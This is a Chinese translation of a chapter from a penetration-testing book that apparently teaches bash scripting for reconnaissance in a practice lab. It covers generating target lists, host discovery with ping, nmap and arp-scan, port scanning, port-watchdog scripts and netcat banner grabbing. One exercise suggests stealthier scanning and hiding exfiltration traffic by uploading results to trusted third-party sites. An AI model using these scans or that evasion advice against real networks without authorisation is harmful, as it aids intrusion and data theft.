在这个过程中,你将发展出一项重要的 bash 脚本技能:解析各种工具的输出,提取你需要的信息。你的脚本将与工具进行交互,确定哪些主机在线,哪些主机的端口是开放的,运行了哪些服务,然后以你要求的格式将这些信息传递给你。
在 第三章 中设置的易受攻击的网络上,所有黑客活动都应在 Kali 环境中进行。
创建可重用的目标列表
范围 是你被允许攻击的系统或资源列表。在渗透测试或漏洞挖掘活动中,目标公司可能会向你提供各种类型的范围:
-
独立的 IP 地址,如 172.16.10.1 和 172.16.10.2
-
网络,如 172.16.10.0/24 和 172.16.10.1–172.16.10.254
-
独立的域名,如 lab.example.com
-
一个父域名及其所有子域名,如 *.example.com
当使用如端口和漏洞扫描器等工具时,你通常需要对你范围内的所有主机进行相同类型的扫描。然而,由于每个工具使用不同的语法,这可能很难高效完成。例如,一个工具可能允许你指定一个包含目标列表的输入文件,而其他工具可能需要单独的地址。
当使用一些不允许你提供广泛目标范围的工具时,你可以使用 bash 来自动化这个过程。在本节中,我们将使用 bash 创建基于 IP 和 DNS 的目标列表,供扫描工具使用。
连续的 IP 地址
假设你需要创建一个包含从 172.16.10.1 到 172.16.10.254 的 IP 地址列表的文件。虽然你可以手动写下所有 254 个地址,但这会非常耗时。让我们使用 bash 来自动化这个任务!我们将考虑三种策略:在 for 循环中使用 seq 命令,使用 echo 的花括号扩展,以及使用 printf 的花括号扩展。
在 列表 4-1 中显示的 for 循环中,我们使用 seq 来遍历从 1 到 254 的数字,并将每个数字分配给 ip 变量。每次迭代后,我们使用 echo 将 IP 地址写入磁盘上的专用文件 172-16-10-hosts.txt。
#!/bin/bash
# Generate IP addresses from a given range.
for ip in $(seq 1 254); do
echo "172.16.10.${ip}" >> 172-16-10-hosts.txt
done
列表 4-1:使用 seq 命令和 for 循环创建 IP 地址列表
你可以直接从命令行运行这段代码,或者将其保存在脚本中再运行。生成的文件应该如下所示:
$ **cat 172-16-10-hosts.txt**
172.16.10.1
172.16.10.2
172.16.10.3
172.16.10.4
172.16.10.5
`--snip--`
与大多数情况一样,您可以在 bash 中使用多种方法来完成相同的任务。我们可以使用简单的 echo 命令生成 IP 地址列表,而不需要运行任何循环。在 列表 4-2 中,我们使用 echo 与大括号展开生成字符串。
$ **echo 10.1.0.{1..254}**
10.1.0.1 10.1.0.2 10.1.0.3 10.1.0.4 ...
列表 4-2:使用 echo 执行大括号展开
您会注意到,此命令在单行上输出以空格分隔的 IP 地址列表。这并不理想,因为我们真正想要的是每个 IP 地址单独占据一行。在 列表 4-3 中,我们使用 sed 将空格替换为换行符(\n)。
$ **echo 10.1.0.{1..254} | sed 's/ /\n/g'**
10.1.0.1
10.1.0.2
10.1.0.3
`--snip--`
列表 4-3:使用 echo 和 sed 生成 IP 地址列表
或者,您可以使用 printf 命令生成相同的列表。使用 printf 不需要管道到 sed,产生更干净的输出:
$ **printf "10.1.0.%d\n" {1..254}**
%d 是整数占位符,将与大括号展开中定义的数字交换,以生成从 10.1.0.1 到 10.1.0.254 的 IP 地址列表。您可以将输出重定向到新文件,然后将其用作输入文件。
可能的子域
假设您正在对公司的父域 example.com 进行渗透测试。在此次参与中,您不受限于任何特定的 IP 地址或域名,这意味着您在信息收集阶段发现的该父域上的任何资产都被视为在范围内。
公司倾向于将其服务和应用程序托管在专用子域上。这些子域可以是任何内容,但通常情况下,公司使用对人类有意义且易于输入到 Web 浏览器中的名称。例如,您可能会在 helpdesk.example.com 找到帮助台门户,monitoring.example.com 上的监控系统,jenkins.example.com 上的持续集成系统,mail.example.com 上的电子邮件服务器以及 ftp.example.com 上的文件传输服务器。
我们如何为目标生成可能的子域列表?Bash 让这变得很容易。首先,我们需要一个常见子域的列表。您可以在 Kali 中找到这样的列表,位于 /usr/share/wordlists/amass/subdomains-top1mil-110000.txt 或 /usr/share/wordlists/amass/bitquark_subdomains_top100K.txt。要查找互联网上的单词列表,您可以使用以下 Google 搜索查询来搜索由社区成员提供的 GitHub 文件:subdomain wordlist site:gist.github.com。这将搜索 GitHub 上包含单词 subdomain wordlist 的代码片段(也称为 gists)。
出于本示例的目的,我们将使用subdomains-1000.txt,它包含在本章文件中,并且存储在书籍的 GitHub 存储库中。下载这个子域列表并将其保存在你的主目录中。该文件每行包含一个子域名,但没有关联的父域名。你需要将每个子域名与目标的父域名连接起来形成一个完全限定的域名。与前一节一样,我们将展示多种完成此任务的策略:使用 while 循环和使用 sed。
注意
你可以从 github.com/dolevf/Black-Hat-Bash/blob/master/ch04 下载本章的资源。
列表 4-4 接受用户提供的父域名和一个单词列表,然后通过使用你之前下载的单词列表打印出一个完全限定子域名列表。
#!/bin/bash
DOMAIN="${1}"
FILE="${2}"
# Read the file from standard input and echo the full domain.
while read -r subdomain; do
echo "${subdomain}.${DOMAIN}"
done < "${FILE}"
列表 4-4:使用 while 循环生成子域名列表
该脚本使用 while 循环读取文件,并依次将每行赋值给变量 subdomain。然后 echo 命令将这两个字符串连接在一起以形成完整的域名。将此脚本保存为generate_subdomains.sh并向其提供两个参数:
$ **./generate_subdomains.sh example.com subdomains-1000.txt**
www.example.com
mail.example.com
ftp.example.com
localhost.example.com
webmail.example.com
`--snip--`
第一个参数是父域名,第二个参数是包含所有可能子域名的文件的路径。
我们可以使用 sed 将内容写入文件每一行的末尾。在列表 4-5 中,该命令使用$符号来找到行尾,然后用目标域名前缀加上一个点(.example.com)来完成域名。
$ **sed 's/$/.example.com/g' subdomains-1000.txt**
relay.example.com
files.example.com
newsletter.example.com
列表 4-5:使用 sed 生成子域名列表
sed 中参数的开头的 s 代表substitute,g 代表 sed 将在文件中替换所有匹配项,而不仅仅是第一个匹配项。因此,简单来说,我们用.example.com替换文件中每一行的末尾。如果你将此代码保存为脚本,输出应与前面的示例相同。
主机发现
当测试一系列地址时,你可能首先想要做的事情之一是获取有关它们的信息。它们是否有任何开放端口?这些端口后面有什么服务?它们是否容易受到安全漏洞的影响?手动回答这些问题是可能的,但如果你需要为数百甚至数千个主机执行此操作,这可能会很具挑战性。让我们使用 bash 来自动化网络枚举任务。
一种识别活动主机的方法是尝试发送网络数据包并等待它们返回响应。在本节中,我们将使用 bash 和其他网络实用程序来执行主机发现。
ping
在其最基本形式中,ping 命令接受一个参数:目标 IP 地址或域名。运行以下命令来查看其输出:
$ **ping 172.16.10.10**
PING 172.16.10.10 (172.16.10.10) 56(84) bytes of data.
64 bytes from 172.16.10.10: icmp_seq=1 ttl=64 time=0.024 ms
64 bytes from 172.16.10.10: icmp_seq=2 ttl=64 time=0.029 ms
64 bytes from 172.16.10.10: icmp_seq=3 ttl=64 time=0.029 ms
ping 命令将永远运行,因此按 CTRL-C 停止其执行。
如果你查看 ping 的手册页面(通过运行 man ping),你会注意到没有办法一次性对多个主机运行该命令。但是通过 bash,我们可以非常轻松地做到这一点。示例 4-6 对网络 172.16.10.0/24 上的所有主机进行 ping 测试。
#!/bin/bash
FILE="${1}"
❶ while read -r host; do
❷ if ping -c 1 -W 1 -w 1 "${host}" &> /dev/null; then
echo "${host} is up."
fi
❸ done < "${FILE}"
示例 4-6:使用 while 循环 ping 多个主机
在❶处,我们运行一个 while 循环,从命令行传递给脚本的文件中读取内容。该文件被赋值给变量 FILE。我们从文件中读取每一行并将其赋值给 host 变量。然后我们运行 ping 命令,使用-c 参数并设置值为 1,在❷处告诉 ping 只发送一次 ping 请求并退出。默认情况下,在 Linux 上,ping 会无限期地发送 ping 请求,直到你手动通过发送 SIGHUP 信号(CTRL-C)停止它。
我们还使用了参数-W 1(设置超时时间,单位为秒)和-w 1(设置截止时间,单位为秒),以限制 ping 等待响应的时间。这非常重要,因为我们不希望 ping 在遇到无响应的 IP 地址时卡住;我们希望它继续从文件中读取,直到所有 254 个主机都经过测试。
最后,我们使用标准输入流读取文件,并将文件内容“传递”给 while 循环 ❸。
将此代码保存为multi_host_ping.sh并在传入hosts文件时运行。你应该会看到代码检测到一些活跃主机:
$ **./multi_host_ping.sh 172-16-10-hosts.txt**
172.16.10.1 is up.
172.16.10.10 is up.
172.16.10.11 is up.
172.16.10.12 is up.
172.16.10.13 is up.
这种主机发现方法的一个警告是,某些主机,尤其是经过强化的主机,可能根本不会响应 ping 命令。因此,如果我们仅依赖这种方法进行发现,可能会错过网络上的活跃主机。
还需要注意的是,默认情况下会无限运行的命令(如 ping)在集成到 bash 脚本时可能会带来挑战。在本示例中,我们明确设置了一些特殊标志,以确保我们的 bash 脚本在执行 ping 时不会挂起。因此,在将命令集成到脚本中之前,先在终端中测试命令非常重要。通常,工具会提供一些特殊选项,确保它们不会永远执行,例如超时选项。
对于没有提供超时选项的工具,timeout 命令允许你在经过一段时间后自动退出命令。你可以将 timeout 加到任何 Linux 工具之前,并传递一个时间间隔(以秒,分钟,小时的格式)—例如,timeout 5s ping 8.8.8.8。在时间到达后,整个命令会退出。
Nmap
Nmap 端口扫描器有一个特别的选项叫做-sn,它执行一个ping 扫描。这种简单的技术通过向网络上的主机发送 ping 命令并等待积极响应(称为ping 响应)来查找活跃主机。由于许多操作系统默认会响应 ping,因此这种技术被证明是非常有价值的。Nmap 中的 ping 扫描基本上会使 Nmap 通过网络发送互联网控制消息协议(ICMP)数据包,以发现正在运行的主机:
$ **nmap -sn 172.16.10.0/24**
Nmap scan report for 172.16.10.1
Host is up (0.00093s latency).
Nmap scan report for 172.16.10.10
Host is up (0.00020s latency).
Nmap scan report for 172.16.10.11
Host is up (0.00076s latency).
`--snip--`
这个输出包含很多文本。通过一些 bash 魔法,我们可以使用 grep 和 awk 命令提取仅识别为活动的 IP 地址,以获得更清晰的输出。
$ **nmap -sn 172.16.10.0/24 | grep "Nmap scan" | awk -F'report for ' '{print $2}'**
172.16.10.1
172.16.10.10
`--snip--`
图 4-7:解析 Nmap 的 ping 扫描输出
使用 Nmap 的内置 ping 扫描可能比手动使用 bash 包装 ping 实用程序更有用,因为您不必担心检查命令是否成功的条件。此外,在渗透测试中,您可能会在多种操作系统上放置 Nmap 二进制文件,并且相同的语法将始终在 ping 实用程序存在与否的情况下一致工作。
arp-scan
我们可以远程执行渗透测试,从不同的网络或与目标相同的网络内部执行。在本节中,我们将强调使用 arp-scan 作为在本地进行测试时发现网络中主机的方法。
arp-scan 实用程序向网络上的主机发送地址解析协议(ARP)数据包,并显示它收到的任何响应。ARP 映射了分配给网络设备的唯一的 12 位十六进制地址(称为媒体访问控制(MAC)地址)到 IP 地址。因为 ARP 是 OSI 模型中的第二层协议,在本地网络上才有用;ARP 不能用于通过互联网执行远程扫描。
请注意,arp-scan 需要 root 权限才能运行;这是因为它使用需要提升权限的函数来读取和写入数据包。在其最基本的形式中,您可以通过执行 arp-scan 命令并将单个 IP 地址作为参数传递来运行它:
$ **sudo arp-scan 172.16.10.10 -I br_public**
我们还需要告诉 arp-scan 在哪个网络接口上发送数据包,因为 Kali 有几个网络接口。为此,我们使用 -I 参数。br_public 接口对应于实验室中的 172.16.10.0/24 网络。
要扫描整个网络,您可以传递 arp-scan 一个 CIDR 范围,例如 /24。例如,以下命令扫描从 172.16.10.1 到 172.16.10.254 的所有 IP 地址:
$ **sudo arp-scan 172.16.10.0/24 -I br_public**
最后,您可以将在“连续 IP 地址”中创建的 hosts 文件作为 arp-scan 的输入:
$ **sudo arp-scan -f 172-16-10-hosts.txt -I br_public**
arp-scan 生成的输出应如下所示:
172.16.10.10 02:42:ac:10:0a:0a (Unknown: locally administered)
172.16.10.11 02:42:ac:10:0a:0b (Unknown: locally administered)
172.16.10.12 02:42:ac:10:0a:0c (Unknown: locally administered)
172.16.10.13 02:42:ac:10:0a:0d (Unknown: locally administered)
此输出由三个字段组成:IP 地址、MAC 地址和供应商详细信息,由 MAC 地址的前三个八位组标识。在此扫描中,工具识别出网络上四个响应 ARP 数据包的主机。
练习 3:接收关于新主机的警报
假设你希望在网络上出现新主机时收到通知。例如,也许你想知道新的笔记本电脑或 IT 资产何时连接。如果你在测试不同时区的目标,当你在线时设备用户可能不在线,这可能很有用。
你可以使用 bash 在脚本发现新资产时向自己发送电子邮件。Listing 4-9 运行一个持续扫描,识别新的在线主机,将它们添加到“连续 IP 地址”中创建的 172-16-10-hosts.txt 文件,并通知你发现的结果。
因为这个脚本比之前的更复杂,我们将通过一个示例解决方案(Listing 4-8)来进行讲解,然后讨论如何自行改进它。
host_monitor _notification.sh
#!/bin/bash
# Sends a notification upon new host discovery
KNOWN_HOSTS="172-16-10-hosts.txt"
NETWORK="172.16.10.0/24"
INTERFACE="br_public"
FROM_ADDR="kali@blackhatbash.com"
TO_ADDR="security@blackhatbash.com"
❶ while true; do
echo "Performing an ARP scan against ${NETWORK}..."
❷ sudo arp-scan -x -I ${INTERFACE} ${NETWORK} | while read -r line; do
❸ host=$(echo "${line}" | awk '{print $1}')
❹ if ! grep -q "${host}" "${KNOWN_HOSTS}"; then
echo "Found a new host: ${host}!"
❺ echo "${host}" >> "${KNOWN_HOSTS}"
❻ sendemail -f "${FROM_ADDR}" \
-t "${TO_ADDR}" \
-u "ARP Scan Notification" \
-m "A new host was found: ${host}"
fi
done
sleep 10
done
Listing 4-8:使用 sendemail 接收关于新 arp-scan 发现的通知
首先,我们设置一些变量。我们将包含要查找的主机的文件 172-16-10-hosts.txt 赋值给 KNOWN_HOSTS 变量,将目标网络 172.16.10.0/24 赋值给 NETWORK 变量。我们还设置了 FROM_ADDR 和 TO_ADDR 变量,用于发送通知邮件。
然后,我们使用 while 运行一个无限循环 ❶。除非我们主动退出,否则这个循环不会结束。在循环内部,我们使用 arp-scan 命令,并使用 -x 选项以显示纯文本输出(以便更容易解析),使用 -I 选项定义网络接口 br_public ❷。在同一行中,我们使用 while read 循环遍历 arp-scan 输出的内容。我们使用 awk 解析输出中的每个 IP 地址,并将其赋值给 host 变量 ❸。
在 ❹ 处,我们使用 if 条件判断主机变量(代表由 arp-scan 发现的主机)是否存在于我们的 hosts 文件中。如果存在,我们什么也不做;如果不存在,我们将其写入文件 ❺ 并通过 sendemail 命令发送电子邮件通知 ❻。注意,sendemail 命令中的每一行都以反斜杠(\)结尾。当行较长时,bash 允许我们以这种方式分隔它们,同时仍将其视为单个命令。将长代码行分开可以使其更易读。在此过程的最后,我们使用 sleep 10 等待 10 秒钟,然后再运行此发现过程。
如果运行此脚本,每当发现新主机时,你应该会收到一封电子邮件。为了正确发送邮件,你需要在系统上配置邮件传输代理,例如 Postfix。有关如何配置的更多信息,请参阅文档 www.postfix.org/documentation.html。
请注意,脚本执行的持续网络探测并不隐秘。若要更隐秘地探测网络,尝试以以下方式修改脚本:
-
降低探测速度,使其每隔几个小时或任意分钟数触发一次。你甚至可以将此间隔随机化,以使其更难预测。
-
如果你在受损的网络中运行脚本,尝试将结果写入内存,而不是通过网络发送通知。
-
将结果上传到看似无害的第三方网站。Living Off Trusted Sites(LOTS)项目在
lots-project.com维护着一个合法网站清单,企业网络通常允许这些网站。攻击者通常利用这些网站执行诸如数据外泄等活动,使其流量混入其他合法流量中,使分析师更难以发现。
现在您知道 172.16.10.0/24 网络上可用的主机,我们建议从172-16-10-hosts.txt文件中删除任何无响应的 IP 地址,以使您未来的扫描更快。
要进一步探索,我们鼓励您尝试其他通知传递方法,如 Slack、Discord、Microsoft Teams 或您日常使用的任何其他消息系统。例如,像 Slack 这样的平台使用webhook,它允许脚本向特定统一资源定位符(URL)发出 HTTP POST 请求,以向所选频道发送自定义消息。
端口扫描
一旦您发现了网络上的主机,您可以运行端口扫描程序来查找它们的开放端口和正在运行的服务。让我们通过使用三个工具来探索端口扫描:Nmap、RustScan 和 Netcat。
Nmap
Nmap 允许我们针对单个目标或多个目标同时执行端口扫描。在下面的示例中,我们使用 Nmap 对域名scanme.nmap.org执行端口扫描:
$ **nmap scanme.nmap.org**
Nmap 还接受 IP 地址,如下所示:
$ **nmap 172.16.10.1**
当我们在命令行上未提供 Nmap 的任何特殊选项时,它将使用以下默认设置:
**执行 SYN 扫描 **Nmap 将使用同步(SYN)扫描来发现目标上的开放端口。也称为半开放扫描,SYN 扫描涉及发送一个 SYN 包并等待响应。Nmap 不会完成完整的 TCP 握手(也就是不会发送 ACK),这就是为什么我们称这种扫描为半开放。
**扫描前 1000 个端口 **Nmap 只会扫描那些经常使用的热门端口,比如 TCP 端口 21、22、80 和 443。它不会扫描整个端口范围 0 至 65,534,以节约资源。
**扫描 TCP 端口 **Nmap 只会扫描 TCP 端口,不会扫描用户数据报协议(UDP)端口。
Nmap 允许您通过命令行传递多个目标进行扫描。在下面的示例中,我们同时扫描localhost和scanme.nmap.org:
$ **nmap localhost scanme.nmap.org**
当传递-iL 选项时,Nmap 还可以从给定文件中读取目标。目标必须以新行分隔。让我们使用Nmap 扫描多个目标的 172-16-10-hosts.txt文件:
$ **nmap -sV -iL 172-16-10-hosts.txt**
`--snip--`
Nmap scan report for 172.16.10.1
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Debian 1+b2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
`--snip--`
Nmap scan report for 172.16.10.10
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
8081/tcp open blackice-icecap?
`--snip--`
由于使用了-sV 选项,该扫描可能需要一些时间来完成,该选项用于检测每个端口的服务版本。正如您所见,Nmap 返回了一些 IP 地址及其开放端口,包括它们的服务甚至与主机上运行的操作系统相关的信息。如果我们想要过滤,比如只想看到开放的端口,我们可以使用 grep:
$ **nmap -sV -iL 172-16-10-hosts.txt | grep open**
22/tcp open ssh
8081/tcp open blackice-icecap
21/tcp open ftp
80/tcp open http
80/tcp open http
22/tcp open ssh
`--snip--`
Nmap 能够识别几个开放的 TCP 端口上的服务,例如端口 21 上的文件传输协议 (FTP),端口 22 上的安全外壳协议 (SSH),以及端口 80 上的 HTTP。在本章后面,我们将更详细地查看每个服务。
Nmap 也允许您在命令行上使用 --open 标志,仅显示找到的开放端口:
$ **nmap -sV -iL 172-16-10-hosts.txt --open**
Kali 的本机接口 IP(172.16.10.1)将在此端口扫描中被捕获,因为它在 hosts 文件中。您可以使用 Nmap 的 --exclude 选项在执行网络范围扫描时排除此特定 IP:--exclude 172.16.10.1。您还可以从文件中手动删除它以方便操作。
使用 man nmap 命令了解更多关于 Nmap 扫描和过滤功能的信息。
RustScan
RustScan 在漏洞赏金和渗透测试领域越来越受欢迎,因为其速度和可扩展性。以下是 rustscan 命令执行的端口扫描。-a(地址)参数接受单个地址或地址范围:
$ **rustscan -a 172.16.10.0/24**
Open 172.16.10.11:21
Open 172.16.10.1:22
Open 172.16.10.13:22
`--snip--`
RustScan 的输出非常适合用 bash 解析。以 Open 开头的行表明在特定 IP 地址上找到了开放端口。这些行后面跟着 IP 地址和端口,用冒号分隔。
当您运行 RustScan 时,您可能会注意到初始输出包含横幅、作者信用和与扫描结果无直接关系的其他信息。使用 -g(grepable)选项仅显示扫描信息。以下命令使用 grepable 输出模式扫描 172.16.10.0/24 的前 1024 个端口(也称为 特权端口):
$ **rustscan -g -a 172.16.10.0/24 -r 1-1024**
172.16.10.11 -> [80]
172.16.10.12 -> [80]
现在输出更适合用 grep。要解析它,我们只需传递分隔符 ->,用 awk 分隔 IP 地址和端口:
$ **rustscan -g -a 172.16.10.0/24 -r 1-1024 | awk -F'->' '{print $1,$2}'**
此命令输出两个字段:IP 地址和端口。为了去掉周围的 [] 括号,我们使用 tr 命令和 -d(删除)参数后跟要删除的字符:
$ **rustscan -g -a 172.16.10.0/24 -r 1-1024 | awk -F'->' '{print $1,$2}' | tr -d '[]'**
这应该返回更清晰的输出。
警告
请记住,在激进模式下运行端口扫描程序会增加被发现的风险,特别是如果目标使用入侵检测系统或终端响应系统。此外,如果您以快速的速度扫描,可能会因网络洪水而导致拒绝服务。
Netcat
您也可以使用 Netcat 进行端口扫描活动。当人们想要检查单个端口的状态(如是否开放或关闭)时,通常会使用此工具,但 Netcat 也可以让您用单个命令扫描多个端口。让我们看看如何实现这一点。
运行以下命令扫描 172.16.10.11 上的 TCP 端口 1–1024:
$ **nc -zv 172.16.10.11 1-1024**
`--snip--`
(UNKNOWN) [172.16.10.11] 80 (http) open
(UNKNOWN) [172.16.10.11] 21 (ftp) open
我们使用 nc 命令,带有 -z 标志(零输入/输出模式,不会发送任何数据)和 -v 标志(详细模式),然后是目标 IP 和用连字符(-)分隔的端口范围。如输出所示,找到两个开放端口。
练习 4:整理扫描结果
将扫描结果按感兴趣的类别进行分类通常非常有用。例如,你可以将每个 IP 地址的结果导出到一个专门的文件中,或根据发现的软件版本来整理结果。在本练习中,你将根据端口号来组织扫描结果。编写一个脚本,实现以下功能:
1. 对文件中的主机运行 Nmap
2. 使用 bash 创建以开放端口为文件名的单独文件
3. 在每个文件中,写入对应端口开放时的 IP 地址
在本练习的最后,你应该会有一堆文件,例如 port-22.txt、port-80.txt 和 port-8080.txt,在每个文件中,你应该能看到一个或多个 IP 地址,表示该端口被发现开放。当你有大量目标主机时,这可以非常有用,尤其是当你希望通过针对与特定端口相关的协议进行群体攻击时。
为了帮助你入门,清单 4-9 显示了一个示例解决方案。
nmap_to_portfiles.sh
#!/bin/bash
HOSTS_FILE="172-16-10-hosts.txt"
❶ RESULT=$(nmap -iL ${HOSTS_FILE} --open | grep "Nmap scan report\|tcp open")
# Read the nmap output line by line.
while read -r line; do
❷ if echo "${line}" | grep -q "report for"; then
ip=$(echo "${line}" | awk -F'for ' '{print $2}')
else
❸ port=$(echo "${line}" | grep open | awk -F'/' '{print $1}')
❹ file="port-${port}.txt"
❺ echo "${ip}" >> "${file}"
fi
done <<< "${RESULT}"
清单 4-9:使用 bash 根据端口组织扫描结果
我们将 nmap 命令的输出赋值给变量 NMAP_RESULT ❶。在这个命令中,我们还会过滤出包含“Nmap scan report”或“tcp open”字样的特定行。这些行是 Nmap 标准端口扫描输出的一部分,表示在某个 IP 地址上发现了开放端口。
我们使用 while 循环逐行读取 NMAP_RESULT,检查每一行是否包含字符串“report for ❷”。这一行将包含发现端口开放的 IP 地址。如果找到这样的行,我们将其赋值给 ip 变量。然后,我们解析该行,提取发现开放的端口 ❸。在 ❹ 处,我们创建文件变量,用于保存我们将创建的磁盘文件,命名方案为 port-NUMBER.txt。最后,我们将 IP 地址附加到文件 ❺。
将脚本保存为 nmap_to_portfiles.sh 文件并运行。接下来,运行 ls -l 查看哪些文件已创建,并使用 cat 查看它们的内容:
$ **ls -l**
total 24
-rw-r--r-- 1 kali kali 3448 Mar 6 22:18 172-16-10-hosts.txt
-rw-r--r-- 1 kali kali 13 Mar 8 22:34 port-21.txt
-rw-r--r-- 1 kali kali 25 Mar 8 22:34 port-22.txt
`--snip--`
$ **cat port-21.txt**
172.16.10.11
如你所见,Nmap 的标准输出格式稍微有些难以解析,但并非不可能。
为了改进此脚本,可以考虑使用 Nmap 的其他输出格式选项,这些选项可以简化解析,尤其是在脚本编写时。其中一个选项是 -oG 标志,它用于生成便于 grep 和 awk 使用的可搜索输出格式:
$ **nmap -iL 172-16-10-hosts.txt --open -oG -**
Host: 172.16.10.1 () Status: Up
Host: 172.16.10.1 () Ports: 22/open/tcp//ssh/// Ignored State: closed (999)
Host: 172.16.10.10 () Status: Up
Host: 172.16.10.10 () Ports: 8081/open/tcp//blackice-icecap/// Ignored State: closed (999)
`--snip--`
输出现在会在同一行打印 IP 地址及其开放的端口。
你还可以通过使用 -oX 选项让 Nmap 生成可扩展标记语言(XML)输出。XML 格式的 Nmap 输出中的开放端口如下所示:
$ **nmap -iL 172-16-10-hosts.txt --open -oX -**
`--snip--`
<port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="0"/><service
name="ssh" method="table" conf="3"/></port>
`--snip--`
作为额外挑战,尝试编写一个单行的 bash 脚本,从 XML 输出中提取开放端口。
检测新的开放端口
如果你想监视某台主机,直到它开放某个特定端口怎么办?如果你正在测试一个主机频繁上线和下线的环境,你可能会发现这非常有用。我们可以通过 while 循环轻松实现这一点。
在清单 4-10 中,我们持续检查端口是否打开,每次执行之间间隔五秒。一旦我们找到一个开放端口,我们将这些信息传递给 Nmap 进行服务发现,并将结果写入文件。
port _watchdog.sh
#!/bin/bash
LOG_FILE="watchdog.log"
IP_ADDRESS="${1}"
WATCHED_PORT="${2}"
service_discovery(){
local host
local port
host="${1}"
port="${2}"
❶ nmap -sV -p "${port}" "${host}" >> "${LOG_FILE}"
}
❷ while true; do
❸ port_scan=$(docker run --network=host -it --rm \
--name rustscan rustscan/rustscan:2.1.1 \
-a "${IP_ADDRESS}" -g -p "${WATCHED_PORT}")
❹ if [[-n "${port_scan}"]]; then
echo "${IP_ADDRESS} has started responding on port ${WATCHED_PORT}!"
echo "Performing a service discovery..."
❺ if service_discovery "${IP_ADDRESS}" "${WATCHED_PORT}"; then
echo "Wrote port scan data to ${LOG_FILE}"
break
fi
else
echo "Port is not yet open, sleeping for 5 seconds..."
❻ sleep 5
fi
done
清单 4-10:新开放端口的看门狗脚本
在❷,我们启动一个无限循环。该循环运行 RustScan,并传递给它包含我们在命令行中收到的 IP 地址的-a(地址)参数❸。我们还传递 RustScan -g(greppable)选项,生成适合 grep 的格式,并传递端口选项(-p)以扫描特定端口,这个端口同样是我们从命令行接收的,结果被分配给 port_scan 变量。
我们检查扫描结果❹。如果结果不为空,我们将 IP 地址和端口传递给 service_discovery 函数❺,该函数执行 Nmap 服务版本发现扫描(-sV),并将结果写入日志文件watchdog.log❶。如果端口扫描失败,意味着端口已关闭,我们将暂停五秒❻。因此,整个过程将每五秒重复一次,直到找到开放的端口。
保存脚本,然后使用以下参数运行它:
$ **./port_watchdog.sh 127.0.0.1 3337**
由于本地主机的此端口不应有任何服务在运行,脚本将永远运行。我们可以通过使用 Python 的内置http.server模块来模拟端口打开事件,该模块启动一个简单的 HTTP 服务器:
$ **python3 -m http.server 3337**
现在,port_watchdog.sh脚本应显示以下内容:
Port is not yet open, sleeping for 5 seconds...
127.0.0.1 has started responding on port 3337!
Performing a service discovery...
Wrote port scan data to watchdog.log
你可以通过打开watchdog.log文件来查看扫描结果:
$ **cat watchdog.log**
Starting Nmap (https://nmap.org)
Nmap scan report for 172.16.10.10
Host is up (0.000099s latency).
PORT STATE SERVICE VERSION
3337/tcp open SimpleHTTPServer
`--snip--`
使用这个脚本,你应该能够在网络上识别出四个具有开放端口的 IP 地址:172.16.10.10(属于p-web-01机器)运行 8081/TCP;172.16.10.11(属于p-ftp-01机器)同时运行 21/TCP 和 80/TCP;172.16.10.12(属于p-web-02机器)运行 80/TCP;以及 172.16.10.13(属于p-jumpbox-01机器)运行 22/TCP。
横幅抓取
了解远程服务器上运行的软件是渗透测试中的关键步骤。在本章的其余部分,我们将探讨如何识别端口和服务背后的内容——例如,端口 8081 上运行的是什么 Web 服务器,它使用哪些技术为客户端提供内容?
Banner grabbing(横幅抓取)是指提取远程网络服务在建立连接时发布的信息的过程。服务通常会传输这些横幅以“迎接”客户端,客户端可以以多种方式利用提供的信息,例如确保它们连接到正确的目标。横幅还可能包含系统管理员的每日消息或服务的特定运行版本。
被动横幅抓取使用第三方网站查找横幅信息。例如,像 Shodan (shodan.io)、ZoomEye (zoomeye.org)、Censys (censys.io) 这样的网站执行扫描,映射互联网,抓取横幅、版本、网页和端口,然后利用这些数据创建清单。我们可以使用这些网站查找横幅信息,而无需与目标服务器直接交互。
主动横幅抓取则恰恰相反;它建立与服务器的连接并直接与其交互,以接收其横幅信息。通过横幅进行自我宣传的网络服务包括 Web 服务器、SSH 服务器、FTP 服务器、Telnet 服务器、网络打印机、物联网设备和消息队列等。
请记住,横幅通常是自由格式的文本字段,可以更改以误导客户端。例如,Apache Web 服务器可能会伪装成另一种类型的 Web 服务器,如 nginx。一些组织甚至会创建 蜜罐服务器 来引诱威胁行为者(或渗透测试者)。蜜罐利用欺骗技术伪装成脆弱的服务器,但它们的真正目的是检测和分析攻击者的活动。然而,更多时候,横幅传输的是系统管理员没有更改的默认设置。
使用主动横幅抓取
为了展示什么是主动横幅抓取,我们将使用以下 Netcat 命令连接到 IP 地址 172.16.10.11 上运行的端口 21(FTP)(p-ftp-01):
$ **nc 172.16.10.11 -v 21**
172.16.10.11: inverse host lookup failed: Unknown host
(UNKNOWN) [172.16.10.11] 21 (ftp) open
220 (**vsFTPd 3.0.5**)
如你所见,172.16.10.11 正在运行 FTP 服务器 vsFTPd 版本 3.0.5。这些信息可能会发生变化,具体取决于 vsFTPd 版本的升级或降级,或者系统管理员是否决定在 FTP 服务器的配置中完全禁用横幅广告。
Netcat 是一个很好的例子,说明了一个工具本身并不支持探测多个 IP 地址。因此,了解一些 bash 脚本编程可以帮助我们解决这个问题。Listing 4-11 将使用 Netcat 从一个文件中保存的多个主机抓取端口 21 上的横幅。
netcat_banner _grab.sh
#!/bin/bash
FILE="${1}"
PORT="${2}"
❶ if [["$#" -ne 2]]; then
echo "Usage: ${0} <file> <port>"
exit 1
fi
❷ if [[! -f "${FILE}"]]; then
echo "File: ${FILE} was not found."
exit 1
fi
❸ if [[! "${PORT}" =~ ^[0-9]+$]]; then
echo "${PORT} must be a number."
exit 1
fi
❹ while read -r ip; do
echo "Running netcat on ${ip}:${PORT}"
result=$(echo -e "\n" | nc -v "${ip}" -w 1 "${PORT}" 2> /dev/null)
❺ if [[-n "${result}"]]; then
echo "==================="
echo "+ IP Address: ${ip}"
echo "+ Banner: ${result}"
echo "==================="
fi
done < "${FILE}"
Listing 4-11:使用 Netcat 进行横幅抓取
这个脚本在命令行接受两个参数:FILE 和 PORT。我们使用 if 条件语句检查是否确实传入了两个参数 ❶;如果没有,我们以状态码 1(失败)退出,并打印一个使用提示,说明如何运行该脚本。然后我们使用另一个 if 条件语句,并通过 -f 测试检查用户提供的文件是否确实存在于磁盘上 ❷。
